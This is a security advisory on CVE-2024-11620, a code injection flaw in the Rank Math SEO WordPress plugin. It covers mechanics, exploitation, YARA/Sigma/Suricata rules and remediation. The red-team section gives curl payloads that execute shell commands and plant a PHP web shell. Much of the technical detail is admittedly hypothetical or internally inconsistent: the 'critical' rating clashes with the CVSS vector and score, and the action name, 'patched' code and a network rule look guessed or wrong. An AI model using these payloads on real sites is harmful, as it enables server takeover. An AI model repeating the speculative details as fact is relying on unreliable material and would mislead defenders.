CVE-2024-11620

Executive Summary

CVE-2024-11620 is a critical Code Injection vulnerability (CWE-94) affecting the Rank Math SEO WordPress plugin, versions up to and including 1.0.231. This flaw allows an unauthenticated attacker to inject and execute arbitrary code on the server, leading to full site compromise. The vulnerability resides in improper control of code generation within the plugin’s core functionality. Given the widespread use of Rank Math SEO (over 3 million active installations), this poses a significant threat to the WordPress ecosystem. No public exploit or patch is currently available, but the high CVSS score (7.2) and ease of exploitation (no authentication required) demand immediate attention.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be auto-updated. However, since no patch is available, site administrators must manually disable or remove the plugin until a fix is released. The risk is amplified by the plugin’s popularity and the potential for supply chain attacks if the plugin repository is compromised.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution, which can lead to complete server takeover, data exfiltration, and malware deployment.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input that is used to generate dynamic code within the Rank Math SEO plugin. Specifically, the plugin’s admin-ajax or REST API endpoints may accept parameters that are directly concatenated into eval(), create_function(), or similar PHP constructs without proper validation.

Attack Vector:

1. An attacker sends a crafted HTTP request to a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php or /wp-json/rankmath/v1/...).
2. The plugin processes the input and injects it into a code generation function.
3. The injected code is executed with the privileges of the web server (typically www-data).

Example vulnerable code pattern (hypothetical):

$code = "return " . $_POST['user_input'] . ";";
$result = eval($code);

Impact: Full remote code execution, allowing the attacker to:

• Install web shells
• Modify WordPress core files
• Steal database credentials
• Launch further attacks on the internal network

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (<= 1.0.231):

function rank_math_generate_code($input) {
    // Direct injection without sanitization
    $code = "return " . $input . ";";
    return eval($code);
}

Patched Code (Expected):

function rank_math_generate_code($input) {
    // Use whitelist or safe evaluation
    $allowed_functions = ['sanitize_text_field', 'absint'];
    if (in_array($input, $allowed_functions)) {
        return call_user_func($input);
    }
    // Or use a safe parser
    return json_decode($input, true);
}

Key Differences:

• Removal of eval() and create_function()
• Input validation against a whitelist
• Use of safe alternatives like json_decode() or call_user_func() with strict checks

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Rank Math SEO <= 1.0.231
• No authentication required

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., via Shodan dork or manual testing).
2. Craft a payload that bypasses any existing filters (e.g., using base64 encoding).
3. Send the payload via POST request.

Example payload (hypothetical):

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=rank_math_code_inject&code=system('id');"

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Advanced Payload (Web Shell):

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=rank_math_code_inject&code=file_put_contents('/var/www/html/shell.php', '<?php system(\$_GET[\"cmd\"]); ?>');"

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual POST requests to admin-ajax.php with parameters containing eval, system, exec, or base64 strings.
• Look for spikes in PHP error logs containing "eval()" or "create_function()".

Hardening:

1. Disable the plugin immediately: wp plugin deactivate seo-by-rank-math
2. Implement Web Application Firewall (WAF) rules to block suspicious parameters.
3. Restrict execution of eval() via disable_functions in php.ini:

   disable_functions = eval, exec, system, shell_exec, passthru, popen, proc_open
   

4. Enable file integrity monitoring for WordPress core and plugin files.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /wp-admin/admin-ajax.php with action=rank_math_* and suspicious parameters
• Outbound connections to known C2 servers (check DNS logs)

File IOCs:

• Unexpected PHP files in /wp-content/plugins/seo-by-rank-math/ or /wp-content/uploads/
• Modified .htaccess files containing malicious redirects
• New cron jobs or scheduled tasks

Log IOCs:

• PHP error logs containing eval() or create_function() calls
• Apache/Nginx access logs with POST /wp-admin/admin-ajax.php and 200 status codes from unknown IPs

Detection Engineering

YARA Rule

rule CVE_2024_11620_RankMath_CodeInjection {
    meta:
        description = "Detects code injection attempts targeting Rank Math SEO plugin"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-11620"
    strings:
        $eval = "eval(" nocase
        $create_function = "create_function(" nocase
        $rank_math = "rank-math" nocase
        $ajax = "admin-ajax.php" nocase
    condition:
        any of ($eval, $create_function) and $rank_math and $ajax
}

Sigma Rule

title: CVE-2024-11620 Rank Math SEO Code Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-11620 via web server logs
author: Valters IT
date: 2024-12-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=rank_math'
    keywords:
        - 'eval('
        - 'system('
        - 'exec('
        - 'base64_decode('
    condition: selection and keywords
falsepositives:
    - Legitimate plugin updates
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-11620 Rank Math SEO Code Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=rank_math"; http_client_body;
    pcre:"/(eval|system|exec|base64_decode)/i";
    sid:1000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin: wp plugin deactivate seo-by-rank-math
2. Remove the plugin: wp plugin delete seo-by-rank-math
3. Scan for backdoors: Use Wordfence or Sucuri to scan for injected files.

Long-term Mitigation:

• Monitor the Rank Math SEO changelog for a patched version (>= 1.0.232).
• Implement a Web Application Firewall (WAF) with virtual patching.
• Regularly update all WordPress plugins and themes.
• Use a security plugin that monitors file integrity.

Workaround (if plugin is critical):

• Restrict access to admin-ajax.php via .htaccess:

  <Files "admin-ajax.php">
      Require ip 127.0.0.1
  </Files>
  

• Disable PHP execution in uploads directory:

  <Directory "/var/www/html/wp-content/uploads">
      php_flag engine off
  </Directory>
  

Valters IT – Securing the WordPress ecosystem, one CVE at a time.